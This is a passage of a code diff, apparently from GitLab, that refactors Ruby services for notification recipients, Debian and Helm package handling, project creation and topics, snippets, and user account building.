- index == 0 ? [:created] : TRACKS.values[0..index - 1]
+ TRACKS[track][:completed_actions]
end
def range
@@ -120,12 +141,12 @@ module Namespaces
date.beginning_of_day..date.end_of_day
end
- def incomplete_action
- TRACKS[track]
+ def incomplete_actions
+ TRACKS[track][:incomplete_actions]
end
def series
- INTERVAL_DAYS.index(interval)
+ TRACKS[track][:interval_days].index(interval)
end
def save_tracked_emails!
diff --git a/app/services/notification_recipients/builder/base.rb b/app/services/notification_recipients/builder/base.rb
index e8f783136cc..4f1bb0dc877 100644
--- a/app/services/notification_recipients/builder/base.rb
+++ b/app/services/notification_recipients/builder/base.rb
@@ -100,25 +100,6 @@ module NotificationRecipients
# Get project/group users with CUSTOM notification level
# rubocop: disable CodeReuse/ActiveRecord
def add_custom_notifications
- return new_add_custom_notifications if Feature.enabled?(:notification_setting_recipient_refactor, project, default_enabled: :yaml)
-
- user_ids = []
-
- # Users with a notification setting on group or project
- user_ids += user_ids_notifiable_on(project, :custom)
- user_ids += user_ids_notifiable_on(group, :custom)
-
- # Users with global level custom
- user_ids_with_project_level_global = user_ids_notifiable_on(project, :global)
- user_ids_with_group_level_global = user_ids_notifiable_on(group, :global)
-
- global_users_ids = user_ids_with_project_level_global.concat(user_ids_with_group_level_global)
- user_ids += user_ids_with_global_level_custom(global_users_ids, custom_action)
-
- add_recipients(user_scope.where(id: user_ids), :custom, nil)
- end
-
- def new_add_custom_notifications
notification_by_sources = related_notification_settings_sources(:custom)
return if notification_by_sources.blank?
@@ -172,22 +153,6 @@ module NotificationRecipients
# Get project users with WATCH notification level
# rubocop: disable CodeReuse/ActiveRecord
def project_watchers
- return new_project_watchers if Feature.enabled?(:notification_setting_recipient_refactor, project, default_enabled: :yaml)
-
- project_members_ids = user_ids_notifiable_on(project)
-
- user_ids_with_project_global = user_ids_notifiable_on(project, :global)
- user_ids_with_group_global = user_ids_notifiable_on(project.group, :global)
-
- user_ids = user_ids_with_global_level_watch((user_ids_with_project_global + user_ids_with_group_global).uniq)
-
- user_ids_with_project_setting = select_project_members_ids(user_ids_with_project_global, user_ids)
- user_ids_with_group_setting = select_group_members_ids(project.group, project_members_ids, user_ids_with_group_global, user_ids)
-
- user_scope.where(id: user_ids_with_project_setting.concat(user_ids_with_group_setting).uniq)
- end
-
- def new_project_watchers
notification_by_sources = related_notification_settings_sources(:watch)
return if notification_by_sources.blank?
@@ -200,16 +165,6 @@ module NotificationRecipients
# rubocop: disable CodeReuse/ActiveRecord
def group_watchers
- return new_group_watchers if Feature.enabled?(:notification_setting_recipient_refactor, project, default_enabled: :yaml)
-
- user_ids_with_group_global = user_ids_notifiable_on(group, :global)
- user_ids = user_ids_with_global_level_watch(user_ids_with_group_global)
- user_ids_with_group_setting = select_group_members_ids(group, [], user_ids_with_group_global, user_ids)
-
- user_scope.where(id: user_ids_with_group_setting)
- end
-
- def new_group_watchers
return [] unless group
user_ids = group
diff --git a/app/services/packages/debian/create_distribution_service.rb b/app/services/packages/debian/create_distribution_service.rb
index f947d2e4293..b4b1ec952ef 100644
--- a/app/services/packages/debian/create_distribution_service.rb
+++ b/app/services/packages/debian/create_distribution_service.rb
@@ -38,14 +38,19 @@ module Packages
append_errors(distribution)
return error unless errors.empty?
- distribution.transaction do
- if distribution.save
- create_components
- create_architectures
-
- success
- end
- end || error
+ result = distribution.transaction do
+ next unless distribution.save
+
+ create_components
+ create_architectures
+ success
+ end
+
+ result ||= error
+
+ ::Packages::Debian::GenerateDistributionWorker.perform_async(distribution.class.container_type, distribution.reset.id) if result.success?
+
+ result
end
def create_components
diff --git a/app/services/packages/debian/destroy_distribution_service.rb b/app/services/packages/debian/destroy_distribution_service.rb
deleted file mode 100644
index bef1127fece..00000000000
--- a/app/services/packages/debian/destroy_distribution_service.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module Packages
- module Debian
- class DestroyDistributionService
- def initialize(distribution)
- @distribution = distribution
- end
-
- def execute
- destroy_distribution
- end
-
- private
-
- def destroy_distribution
- if @distribution.destroy
- success
- else
- error("Unable to destroy Debian #{@distribution.model_name.human.downcase}")
- end
- end
-
- def success
- ServiceResponse.success
- end
-
- def error(message)
- ServiceResponse.error(message: message, payload: { distribution: @distribution })
- end
- end
- end
-end
diff --git a/app/services/packages/debian/generate_distribution_service.rb b/app/services/packages/debian/generate_distribution_service.rb
index 67348af1a49..651325c49a0 100644
--- a/app/services/packages/debian/generate_distribution_service.rb
+++ b/app/services/packages/debian/generate_distribution_service.rb
@@ -6,6 +6,8 @@ module Packages
include Gitlab::Utils::StrongMemoize
include ExclusiveLeaseGuard
+ ONE_HOUR = 1.hour.freeze
+
# used by ExclusiveLeaseGuard
DEFAULT_LEASE_TIMEOUT = 1.hour.to_i.freeze
@@ -62,7 +64,7 @@ module Packages
def initialize(distribution)
@distribution = distribution
- @last_generated_at = nil
+ @oldest_kept_generated_at = nil
@md5sum = []
@sha256 = []
end
@@ -70,7 +72,10 @@ module Packages
def execute
try_obtain_lease do
@distribution.transaction do
- @last_generated_at = @distribution.component_files.maximum(:created_at)
+ # We consider `apt-get update` can take at most one hour
+ # We keep all generations younger than one hour
+ # and the previous generation
+ @oldest_kept_generated_at = @distribution.component_files.updated_before(release_date - ONE_HOUR).maximum(:updated_at)
generate_component_files
generate_release
destroy_old_component_files
@@ -96,7 +101,7 @@ module Packages
.with_debian_file_type(package_file_type)
.find_each
.map(&method(:package_stanza_from_fields))
- create_component_file(component, component_file_type, architecture, package_file_type, paragraphs.join("\n"))
+ reuse_or_create_component_file(component, component_file_type, architecture, paragraphs.join("\n"))
end
def package_stanza_from_fields(package_file)
@@ -127,17 +132,32 @@ module Packages
end
end
- def create_component_file(component, component_file_type, architecture, package_file_type, content)
- component_file = component.files.create!(
- file_type: component_file_type,
- architecture: architecture,
- compression_type: nil,
- file: CarrierWaveStringFile.new(content),
- file_md5: Digest::MD5.hexdigest(content),
- file_sha256: Digest::SHA256.hexdigest(content)
- )
- @md5sum.append(" #{component_file.file_md5} #{component_file.size.to_s.rjust(8)} #{component_file.relative_path}")
- @sha256.append(" #{component_file.file_sha256} #{component_file.size.to_s.rjust(8)} #{component_file.relative_path}")
+ def reuse_or_create_component_file(component, component_file_type, architecture, content)
+ file_md5 = Digest::MD5.hexdigest(content)
+ file_sha256 = Digest::SHA256.hexdigest(content)
+ component_file = component.files
+ .with_file_type(component_file_type)
+ .with_architecture(architecture)
+ .with_compression_type(nil)
+ .with_file_sha256(file_sha256)
+ .last
+
+ if component_file
+ component_file.touch(time: release_date)
+ else
+ component_file = component.files.create!(
+ updated_at: release_date,
+ file_type: component_file_type,
+ architecture: architecture,
+ compression_type: nil,
+ file: CarrierWaveStringFile.new(content),
+ file_md5: file_md5,
+ file_sha256: file_sha256
+ )
+ end
+
+ @md5sum.append(" #{file_md5} #{component_file.size.to_s.rjust(8)} #{component_file.relative_path}")
+ @sha256.append(" #{file_sha256} #{component_file.size.to_s.rjust(8)} #{component_file.relative_path}")
end
def generate_release
@@ -187,10 +207,9 @@ module Packages
end
def destroy_old_component_files
- # Only keep the last generation and one hour before
- return if @last_generated_at.nil?
+ return if @oldest_kept_generated_at.nil?
- @distribution.component_files.created_before(@last_generated_at - 1.hour).destroy_all # rubocop:disable Cop/DestroyAll
+ @distribution.component_files.updated_before(@oldest_kept_generated_at).destroy_all # rubocop:disable Cop/DestroyAll
end
# used by ExclusiveLeaseGuard
diff --git a/app/services/packages/debian/process_changes_service.rb b/app/services/packages/debian/process_changes_service.rb
index 881ad2c46f4..b6e81012656 100644
--- a/app/services/packages/debian/process_changes_service.rb
+++ b/app/services/packages/debian/process_changes_service.rb
@@ -25,6 +25,8 @@ module Packages
update_files_metadata
update_changes_metadata
end
+
+ ::Packages::Debian::GenerateDistributionWorker.perform_async(:project, package.debian_distribution.id)
end
end
diff --git a/app/services/packages/debian/update_distribution_service.rb b/app/services/packages/debian/update_distribution_service.rb
index 95face912d5..218167ecdc5 100644
--- a/app/services/packages/debian/update_distribution_service.rb
+++ b/app/services/packages/debian/update_distribution_service.rb
@@ -31,7 +31,7 @@ module Packages
end
def update_distribution
- distribution.transaction do
+ result = distribution.transaction do
if distribution.update(params)
update_components if components
update_architectures if architectures
@@ -41,7 +41,13 @@ module Packages
append_errors(distribution)
error
end
- end || error
+ end
+
+ result ||= error
+
+ ::Packages::Debian::GenerateDistributionWorker.perform_async(distribution.class.container_type, distribution.id) if result.success?
+
+ result
end
def update_components
diff --git a/app/services/packages/helm/extract_file_metadata_service.rb b/app/services/packages/helm/extract_file_metadata_service.rb
new file mode 100644
index 00000000000..e7373d8ea8f
--- /dev/null
+++ b/app/services/packages/helm/extract_file_metadata_service.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'rubygems/package'
+
+module Packages
+ module Helm
+ class ExtractFileMetadataService
+ ExtractionError = Class.new(StandardError)
+
+ def initialize(package_file)
+ @package_file = package_file
+ end
+
+ def execute
+ raise ExtractionError, 'invalid package file' unless valid_package_file?
+
+ metadata
+ end
+
+ private
+
+ def valid_package_file?
+ @package_file &&
+ @package_file.package&.helm? &&
+ @package_file.file.size > 0 # rubocop:disable Style/ZeroLengthPredicate
+ end
+
+ def metadata
+ YAML.safe_load(chart_yaml_content)
+ rescue Psych::Exception => e
+ raise ExtractionError, "Error while parsing Chart.yaml: #{e.message}"
+ end
+
+ def chart_yaml_content
+ @package_file.file.use_open_file do |file|
+ tar_reader = Gem::Package::TarReader.new(Zlib::GzipReader.new(file))
+
+ chart_yaml = tar_reader.find do |entry|
+ next unless entry.file?
+
+ entry.full_name.end_with?('/Chart.yaml')
+ end
+
+ raise ExtractionError, 'Chart.yaml not found within a directory' unless chart_yaml
+
+ chart_yaml.read
+ ensure
+ tar_reader.close
+ end
+ end
+ end
+ end
+end
diff --git a/app/services/packages/nuget/metadata_extraction_service.rb b/app/services/packages/nuget/metadata_extraction_service.rb
index dd5f1bcc936..63da98dde43 100644
--- a/app/services/packages/nuget/metadata_extraction_service.rb
+++ b/app/services/packages/nuget/metadata_extraction_service.rb
@@ -28,7 +28,7 @@ module Packages
def execute
raise ExtractionError, 'invalid package file' unless valid_package_file?
- extract_metadata(nuspec_file)
+ extract_metadata(nuspec_file_content)
end
private
@@ -39,6 +39,10 @@ module Packages
end
end
+ def project
+ package_file.package.project
+ end
+
def valid_package_file?
package_file &&
package_file.package&.nuget? &&
@@ -89,16 +93,21 @@ module Packages
tags.split(::Packages::Tag::NUGET_TAGS_SEPARATOR)
end
- def nuspec_file
- package_file.file.use_file do |file_path|
- Zip::File.open(file_path) do |zip_file|
- entry = zip_file.glob('*.nuspec').first
+ def nuspec_file_content
+ with_zip_file do |zip_file|
+ entry = zip_file.glob('*.nuspec').first
- raise ExtractionError, 'nuspec file not found' unless entry
- raise ExtractionError, 'nuspec file too big' if entry.size > MAX_FILE_SIZE
+ raise ExtractionError, 'nuspec file not found' unless entry
+ raise ExtractionError, 'nuspec file too big' if entry.size > MAX_FILE_SIZE
- entry.get_input_stream.read
- end
+ entry.get_input_stream.read
+ end
+ end
+
+ def with_zip_file(&block)
+ package_file.file.use_open_file do |open_file|
+ zip_file = Zip::File.new(open_file, false, true)
+ yield(zip_file)
end
end
end
diff --git a/app/services/pages/delete_service.rb b/app/services/pages/delete_service.rb
index c4009dcc4ec..f7d3d70aad6 100644
--- a/app/services/pages/delete_service.rb
+++ b/app/services/pages/delete_service.rb
@@ -3,8 +3,13 @@
module Pages
class DeleteService < BaseService
def execute
- project.mark_pages_as_not_deployed # prevents domain from updating config when deleted
- project.pages_domains.delete_all
+ project.mark_pages_as_not_deployed
+
+ # project.pages_domains.delete_all will just nullify project_id:
+ # > If no :dependent option is given, then it will follow the default
+ # > strategy for `has_many :through` associations.
+ # > The default strategy is :nullify which sets the foreign keys to NULL.
+ PagesDomain.for_project(project).delete_all
DestroyPagesDeploymentsWorker.perform_async(project.id)
diff --git a/app/services/projects/create_service.rb b/app/services/projects/create_service.rb
index 97ea7d87545..7dd9280e5b1 100644
--- a/app/services/projects/create_service.rb
+++ b/app/services/projects/create_service.rb
@@ -11,6 +11,9 @@ module Projects
@initialize_with_readme = Gitlab::Utils.to_boolean(@params.delete(:initialize_with_readme))
@import_data = @params.delete(:import_data)
@relations_block = @params.delete(:relations_block)
+ @default_branch = @params.delete(:default_branch)
+
+ build_topics
end
def execute
@@ -128,20 +131,16 @@ module Projects
access_level: group_access_level)
end
- if Feature.enabled?(:specialized_project_authorization_workers, default_enabled: :yaml)
- AuthorizedProjectUpdate::ProjectCreateWorker.perform_async(@project.id)
- # AuthorizedProjectsWorker uses an exclusive lease per user but
- # specialized workers might have synchronization issues. Until we
- # compare the inconsistency rates of both approaches, we still run
- # AuthorizedProjectsWorker but with some delay and lower urgency as a
- # safety net.
- @project.group.refresh_members_authorized_projects(
- blocking: false,
- priority: UserProjectAccessChangedService::LOW_PRIORITY
- )
- else
- @project.group.refresh_members_authorized_projects(blocking: false)
- end
+ AuthorizedProjectUpdate::ProjectCreateWorker.perform_async(@project.id)
+ # AuthorizedProjectsWorker uses an exclusive lease per user but
+ # specialized workers might have synchronization issues. Until we
+ # compare the inconsistency rates of both approaches, we still run
+ # AuthorizedProjectsWorker but with some delay and lower urgency as a
+ # safety net.
+ @project.group.refresh_members_authorized_projects(
+ blocking: false,
+ priority: UserProjectAccessChangedService::LOW_PRIORITY
+ )
else
@project.add_maintainer(@project.namespace.owner, current_user: current_user)
end
@@ -149,7 +148,7 @@ module Projects
def create_readme
commit_attrs = {
- branch_name: @project.default_branch_or_main,
+ branch_name: @default_branch.presence || @project.default_branch_or_main,
commit_message: 'Initial commit',
file_path: 'README.md',
file_content: "# #{@project.name}\n\n#{@project.description}"
@@ -261,6 +260,14 @@ module Projects
.new(current_user, @project, project_params: { import_data: @import_data })
.level_restricted?
end
+
+ def build_topics
+ topics = params.delete(:topics)
+ tag_list = params.delete(:tag_list)
+ topic_list = topics || tag_list
+
+ params[:topic_list] ||= topic_list if topic_list
+ end
end
end
diff --git a/app/services/projects/destroy_service.rb b/app/services/projects/destroy_service.rb
index 0682f3013d4..e27ea7c07e5 100644
--- a/app/services/projects/destroy_service.rb
+++ b/app/services/projects/destroy_service.rb
@@ -116,7 +116,7 @@ module Projects
log_destroy_event
trash_relation_repositories!
trash_project_repositories!
- destroy_web_hooks! if Feature.enabled?(:destroy_webhooks_before_the_project, project, default_enabled: :yaml)
+ destroy_web_hooks!
# Rails attempts to load all related records into memory before
# destroying: https://github.com/rails/rails/issues/22510
diff --git a/app/services/projects/group_links/create_service.rb b/app/services/projects/group_links/create_service.rb
index d8fa2f36fcc..fc5c936b378 100644
--- a/app/services/projects/group_links/create_service.rb
+++ b/app/services/projects/group_links/create_service.rb
@@ -23,22 +23,18 @@ module Projects
private
def setup_authorizations(group, group_access = nil)
- if Feature.enabled?(:specialized_project_authorization_project_share_worker, default_enabled: :yaml)
- AuthorizedProjectUpdate::ProjectGroupLinkCreateWorker.perform_async(
- project.id, group.id, group_access)
+ AuthorizedProjectUpdate::ProjectGroupLinkCreateWorker.perform_async(
+ project.id, group.id, group_access)
- # AuthorizedProjectsWorker uses an exclusive lease per user but
- # specialized workers might have synchronization issues. Until we
- # compare the inconsistency rates of both approaches, we still run
- # AuthorizedProjectsWorker but with some delay and lower urgency as a
- # safety net.
- group.refresh_members_authorized_projects(
- blocking: false,
- priority: UserProjectAccessChangedService::LOW_PRIORITY
- )
- else
- group.refresh_members_authorized_projects(blocking: false)
- end
+ # AuthorizedProjectsWorker uses an exclusive lease per user but
+ # specialized workers might have synchronization issues. Until we
+ # compare the inconsistency rates of both approaches, we still run
+ # AuthorizedProjectsWorker but with some delay and lower urgency as a
+ # safety net.
+ group.refresh_members_authorized_projects(
+ blocking: false,
+ priority: UserProjectAccessChangedService::LOW_PRIORITY
+ )
end
end
end
diff --git a/app/services/projects/group_links/destroy_service.rb b/app/services/projects/group_links/destroy_service.rb
index bfe704cd780..01a5b617b46 100644
--- a/app/services/projects/group_links/destroy_service.rb
+++ b/app/services/projects/group_links/destroy_service.rb
@@ -13,9 +13,27 @@ module Projects
end
group_link.destroy.tap do |link|
- link.group.refresh_members_authorized_projects
+ if Feature.enabled?(:use_specialized_worker_for_project_auth_recalculation)
+ refresh_project_authorizations_asynchronously(link.project)
+
+ # Until we compare the inconsistency rates of the new specialized worker and
+ # the old approach, we still run AuthorizedProjectsWorker
+ # but with some delay and lower urgency as a safety net.
+ link.group.refresh_members_authorized_projects(
+ blocking: false,
+ priority: UserProjectAccessChangedService::LOW_PRIORITY
+ )
+ else
+ link.group.refresh_members_authorized_projects
+ end
end
end
+
+ private
+
+ def refresh_project_authorizations_asynchronously(project)
+ AuthorizedProjectUpdate::ProjectRecalculateWorker.perform_async(project.id)
+ end
end
end
end
diff --git a/app/services/projects/prometheus/alerts/notify_service.rb b/app/services/projects/prometheus/alerts/notify_service.rb
index db640a54745..e1eb1374d14 100644
--- a/app/services/projects/prometheus/alerts/notify_service.rb
+++ b/app/services/projects/prometheus/alerts/notify_service.rb
@@ -105,9 +105,9 @@ module Projects
cluster = alert.environment.deployment_platform&.cluster
return unless cluster&.enabled?
- return unless cluster.application_prometheus_available?
+ return unless cluster.integration_prometheus_available?
- cluster.application_prometheus || cluster.integration_prometheus
+ cluster.integration_prometheus
end
def find_alert(project, metric)
diff --git a/app/services/projects/update_service.rb b/app/services/projects/update_service.rb
index 541b333aae3..4351a66351d 100644
--- a/app/services/projects/update_service.rb
+++ b/app/services/projects/update_service.rb
@@ -8,6 +8,7 @@ module Projects
ValidationError = Class.new(StandardError)
def execute
+ build_topics
remove_unallowed_params
validate!
@@ -167,6 +168,14 @@ module Projects
project.repository_storage != new_repository_storage &&
can?(current_user, :change_repository_storage, project)
end
+
+ def build_topics
+ topics = params.delete(:topics)
+ tag_list = params.delete(:tag_list)
+ topic_list = topics || tag_list
+
+ params[:topic_list] ||= topic_list if topic_list
+ end
end
end
diff --git a/app/services/prometheus/create_default_alerts_service.rb b/app/services/prometheus/create_default_alerts_service.rb
index e59b0a8e8e3..eb8a9d45658 100644
--- a/app/services/prometheus/create_default_alerts_service.rb
+++ b/app/services/prometheus/create_default_alerts_service.rb
@@ -1,5 +1,6 @@
# frozen_string_literal: true
+# DEPRECATED: To be removed as part of https://gitlab.com/groups/gitlab-org/-/epics/5877
module Prometheus
class CreateDefaultAlertsService < BaseService
include Gitlab::Utils::StrongMemoize
@@ -53,12 +54,12 @@ module Prometheus
end
def schedule_prometheus_update
- return unless prometheus_application
+ return unless prometheus_adapter
- ::Clusters::Applications::ScheduleUpdateService.new(prometheus_application, project).execute
+ ::Clusters::Applications::ScheduleUpdateService.new(prometheus_adapter, project).execute
end
- def prometheus_application
+ def prometheus_adapter
environment.cluster_prometheus_adapter
end
diff --git a/app/services/resource_access_tokens/create_service.rb b/app/services/resource_access_tokens/create_service.rb
index 84f4478f20f..6ff8767a525 100644
--- a/app/services/resource_access_tokens/create_service.rb
+++ b/app/services/resource_access_tokens/create_service.rb
@@ -48,7 +48,7 @@ module ResourceAccessTokens
# since someone like a project maintainer does not inherently have the ability
# to create a new user in the system.
- Users::CreateService.new(current_user, default_user_params).execute(skip_authorization: true)
+ ::Users::AuthorizedCreateService.new(current_user, default_user_params).execute
end
def delete_failed_user(user)
diff --git a/app/services/search/project_service.rb b/app/services/search/project_service.rb
index 3181c0098cc..3e93346bfdf 100644
--- a/app/services/search/project_service.rb
+++ b/app/services/search/project_service.rb
@@ -8,8 +8,8 @@ module Search
attr_accessor :project, :current_user, :params
- def initialize(project, user, params)
- @project = project
+ def initialize(project_or_projects, user, params)
+ @project = project_or_projects
@current_user = user
@params = params.dup
end
diff --git a/app/services/search_service.rb b/app/services/search_service.rb
index 389cf17e115..cce7821a226 100644
--- a/app/services/search_service.rb
+++ b/app/services/search_service.rb
@@ -41,6 +41,10 @@ class SearchService
end
# rubocop: enable CodeReuse/ActiveRecord
+ def projects
+ # overridden in EE
+ end
+
def show_snippets?
return @show_snippets if defined?(@show_snippets)
diff --git a/app/services/security/ci_configuration/sast_parser_service.rb b/app/services/security/ci_configuration/sast_parser_service.rb
index 5220525d552..cae9a90f0a0 100644
--- a/app/services/security/ci_configuration/sast_parser_service.rb
+++ b/app/services/security/ci_configuration/sast_parser_service.rb
@@ -74,19 +74,11 @@ module Security
def sast_excluded_analyzers
strong_memoize(:sast_excluded_analyzers) do
- all_analyzers = Security::CiConfiguration::SastBuildAction::SAST_DEFAULT_ANALYZERS.split(', ') rescue []
- enabled_analyzers = sast_default_analyzers.split(',').map(&:strip) rescue []
-
excluded_analyzers = gitlab_ci_yml_attributes["SAST_EXCLUDED_ANALYZERS"] || sast_template_attributes["SAST_EXCLUDED_ANALYZERS"]
- excluded_analyzers = excluded_analyzers.split(',').map(&:strip) rescue []
- ((all_analyzers - enabled_analyzers) + excluded_analyzers).uniq
+ excluded_analyzers.split(',').map(&:strip) rescue []
end
end
- def sast_default_analyzers
- @sast_default_analyzers ||= gitlab_ci_yml_attributes["SAST_DEFAULT_ANALYZERS"] || sast_template_attributes["SAST_DEFAULT_ANALYZERS"]
- end
-
def sast_template_attributes
@sast_template_attributes ||= build_sast_attributes(sast_template_content)
end
@@ -109,17 +101,17 @@ module Security
yaml_result = Gitlab::Ci::YamlProcessor.new(content, options).execute
return {} unless yaml_result.valid?
- sast_attributes = yaml_result.build_attributes(:sast)
- extract_required_attributes(sast_attributes)
+ extract_required_attributes(yaml_result)
end
- def extract_required_attributes(attributes)
+ def extract_required_attributes(yaml_result)
result = {}
- attributes[:yaml_variables].each do |variable|
+
+ yaml_result.yaml_variables_for(:sast).each do |variable|
result[variable[:key]] = variable[:value]
end
- result[:stage] = attributes[:stage]
+ result[:stage] = yaml_result.stage_for(:sast)
result.with_indifferent_access
end
end
diff --git a/app/services/snippets/base_service.rb b/app/services/snippets/base_service.rb
index 415cfcb7d8f..1a04c4fcedd 100644
--- a/app/services/snippets/base_service.rb
+++ b/app/services/snippets/base_service.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Snippets
- class BaseService < ::BaseService
+ class BaseService < ::BaseProjectService
UPDATE_COMMIT_MSG = 'Update snippet'
INITIAL_COMMIT_MSG = 'Initial commit'
@@ -9,7 +9,7 @@ module Snippets
attr_reader :uploaded_assets, :snippet_actions
- def initialize(project, user = nil, params = {})
+ def initialize(project: nil, current_user: nil, params: {})
super
@uploaded_assets = Array(@params.delete(:files).presence)
@@ -20,7 +20,7 @@ module Snippets
private
- def visibility_allowed?(snippet, visibility_level)
+ def visibility_allowed?(visibility_level)
Gitlab::VisibilityLevel.allowed_for?(current_user, visibility_level)
end
diff --git a/app/services/snippets/create_service.rb b/app/services/snippets/create_service.rb
index aadf9b865b8..8f1b481d307 100644
--- a/app/services/snippets/create_service.rb
+++ b/app/services/snippets/create_service.rb
@@ -12,7 +12,7 @@ module Snippets
return invalid_params_error(@snippet) unless valid_params?
- unless visibility_allowed?(snippet, snippet.visibility_level)
+ unless visibility_allowed?(snippet.visibility_level)
return forbidden_visibility_error(snippet)
end
diff --git a/app/services/snippets/update_service.rb b/app/services/snippets/update_service.rb
index 4088a08272d..8571bc9c869 100644
--- a/app/services/snippets/update_service.rb
+++ b/app/services/snippets/update_service.rb
@@ -14,7 +14,7 @@ module Snippets
return invalid_params_error(snippet) unless valid_params?
- if visibility_changed?(snippet) && !visibility_allowed?(snippet, visibility_level)
+ if visibility_changed?(snippet) && !visibility_allowed?(visibility_level)
return forbidden_visibility_error(snippet)
end
diff --git a/app/services/todo_service.rb b/app/services/todo_service.rb
index fc6543a8efc..71bb813f384 100644
--- a/app/services/todo_service.rb
+++ b/app/services/todo_service.rb
@@ -316,6 +316,8 @@ class TodoService
attributes.merge!(target_id: nil, commit_id: target.id)
elsif target.is_a?(Issue)
attributes[:issue_type] = target.issue_type
+ elsif target.is_a?(Discussion)
+ attributes.merge!(target_type: nil, target_id: nil, discussion: target)
end
attributes
diff --git a/app/services/user_project_access_changed_service.rb b/app/services/user_project_access_changed_service.rb
index 80490bd4c9a..f52502e0379 100644
--- a/app/services/user_project_access_changed_service.rb
+++ b/app/services/user_project_access_changed_service.rb
@@ -13,17 +13,20 @@ class UserProjectAccessChangedService
def execute(blocking: true, priority: HIGH_PRIORITY)
bulk_args = @user_ids.map { |id| [id] }
- if blocking
- AuthorizedProjectsWorker.bulk_perform_and_wait(bulk_args)
- else
- if priority == HIGH_PRIORITY
- AuthorizedProjectsWorker.bulk_perform_async(bulk_args) # rubocop:disable Scalability/BulkPerformWithContext
+ result =
+ if blocking
+ AuthorizedProjectsWorker.bulk_perform_and_wait(bulk_args)
else
- AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker.bulk_perform_in( # rubocop:disable Scalability/BulkPerformWithContext
- DELAY, bulk_args, batch_size: 100, batch_delay: 30.seconds)
+ if priority == HIGH_PRIORITY
+ AuthorizedProjectsWorker.bulk_perform_async(bulk_args) # rubocop:disable Scalability/BulkPerformWithContext
+ else
+ AuthorizedProjectUpdate::UserRefreshFromReplicaWorker.bulk_perform_in( # rubocop:disable Scalability/BulkPerformWithContext
+ DELAY, bulk_args, batch_size: 100, batch_delay: 30.seconds)
+ end
end
- end
+
+ ::Gitlab::Database::LoadBalancing::Sticking.bulk_stick(:user, @user_ids)
+
+ result
end
end
-
-UserProjectAccessChangedService.prepend_mod_with('UserProjectAccessChangedService')
diff --git a/app/services/users/activity_service.rb b/app/services/users/activity_service.rb
index c89a286cc8b..20594bec28d 100644
--- a/app/services/users/activity_service.rb
+++ b/app/services/users/activity_service.rb
@@ -17,7 +17,7 @@ module Users
def execute
return unless @user
- record_activity
+ ::Gitlab::Database::LoadBalancing::Session.without_sticky_writes { record_activity }
end
private
@@ -37,5 +37,3 @@ module Users
end
end
end
-
-Users::ActivityService.prepend_mod
diff --git a/app/services/users/authorized_build_service.rb b/app/services/users/authorized_build_service.rb
new file mode 100644
index 00000000000..eb2386198d3
--- /dev/null
+++ b/app/services/users/authorized_build_service.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Users
+ class AuthorizedBuildService < BuildService
+ extend ::Gitlab::Utils::Override
+
+ private
+
+ override :validate_access!
+ def validate_access!
+ # no-op
+ end
+
+ def signup_params
+ super + [:skip_confirmation]
+ end
+ end
+end
diff --git a/app/services/users/authorized_create_service.rb b/app/services/users/authorized_create_service.rb
new file mode 100644
index 00000000000..b6109f0c191
--- /dev/null
+++ b/app/services/users/authorized_create_service.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Users
+ class AuthorizedCreateService < CreateService
+ extend ::Gitlab::Utils::Override
+
+ private
+
+ override :build_class
+ def build_class
+ Users::AuthorizedBuildService
+ end
+ end
+end
diff --git a/app/services/users/build_service.rb b/app/services/users/build_service.rb
index 649cf281ab0..ddb20a835e1 100644
--- a/app/services/users/build_service.rb
+++ b/app/services/users/build_service.rb
@@ -5,7 +5,6 @@ module Users
delegate :user_default_internal_regex_enabled?,
:user_default_internal_regex_instance,
to: :'Gitlab::CurrentSettings.current_application_settings'
- attr_reader :identity_params
def initialize(current_user, params = {})
@current_user = current_user
@@ -13,46 +12,128 @@ module Users
@identity_params = params.slice(*identity_attributes)
end
- def execute(skip_authorization: false)
- @skip_authorization = skip_authorization
+ def execute
+ build_user
+ build_identity
+ update_canonical_email
- raise Gitlab::Access::AccessDeniedError unless skip_authorization || can_create_user?
+ user
+ end
- user_params = build_user_params
- user = User.new(user_params)
+ private
- if current_user&.admin?
- @reset_token = user.generate_reset_token if params[:reset_password]
+ attr_reader :identity_params, :user_params, :user
- if user_params[:force_random_password]
- random_password = User.random_password
- user.password = user.password_confirmation = random_password
- end
+ def identity_attributes
+ [:extern_uid, :provider]
+ end
+
+ def build_user
+ if admin?
+ admin_build_user
+ else
+ standard_build_user
end
+ end
- build_identity(user)
+ def admin?
+ return false unless current_user
- Users::UpdateCanonicalEmailService.new(user: user).execute
+ current_user.admin?
+ end
- user
+ def admin_build_user
+ build_user_params_for_admin
+ init_user
+ password_reset
end
- private
+ def standard_build_user
+ # current_user non admin or nil
+ validate_access!
+ build_user_params_for_non_admin
+ init_user
+ end
- attr_reader :skip_authorization
+ def build_user_params_for_admin
+ @user_params = params.slice(*admin_create_params)
+ @user_params.merge!(force_random_password: true, password_expires_at: nil) if params[:reset_password]
+ end
- def identity_attributes
- [:extern_uid, :provider]
+ def init_user
+ assign_common_user_params
+
+ @user = User.new(user_params)
+ end
+
+ def assign_common_user_params
+ @user_params[:created_by_id] = current_user&.id
+ @user_params[:external] = user_external? if set_external_param?
+
+ @user_params.delete(:user_type) unless project_bot?
+ end
+
+ def set_external_param?
+ user_default_internal_regex_enabled? && !user_params.key?(:external)
+ end
+
+ def user_external?
+ user_default_internal_regex_instance.match(params[:email]).nil?
+ end
+
+ def project_bot?
+ user_params[:user_type]&.to_sym == :project_bot
+ end
+
+ def password_reset
+ @reset_token = user.generate_reset_token if params[:reset_password]
+
+ if user_params[:force_random_password]
+ random_password = User.random_password
+ @user.password = user.password_confirmation = random_password
+ end
+ end
+
+ def validate_access!
+ return if can_create_user?
+
+ raise Gitlab::Access::AccessDeniedError
+ end
+
+ def can_create_user?
+ current_user.nil? && Gitlab::CurrentSettings.allow_signup?
+ end
+
+ def build_user_params_for_non_admin
+ @user_params = params.slice(*signup_params)
+ @user_params[:skip_confirmation] = skip_user_confirmation_email_from_setting if assign_skip_confirmation_from_settings?
+ @user_params[:name] = fallback_name if use_fallback_name?
+ end
+
+ def assign_skip_confirmation_from_settings?
+ user_params[:skip_confirmation].nil?
end
- def build_identity(user)
+ def skip_user_confirmation_email_from_setting
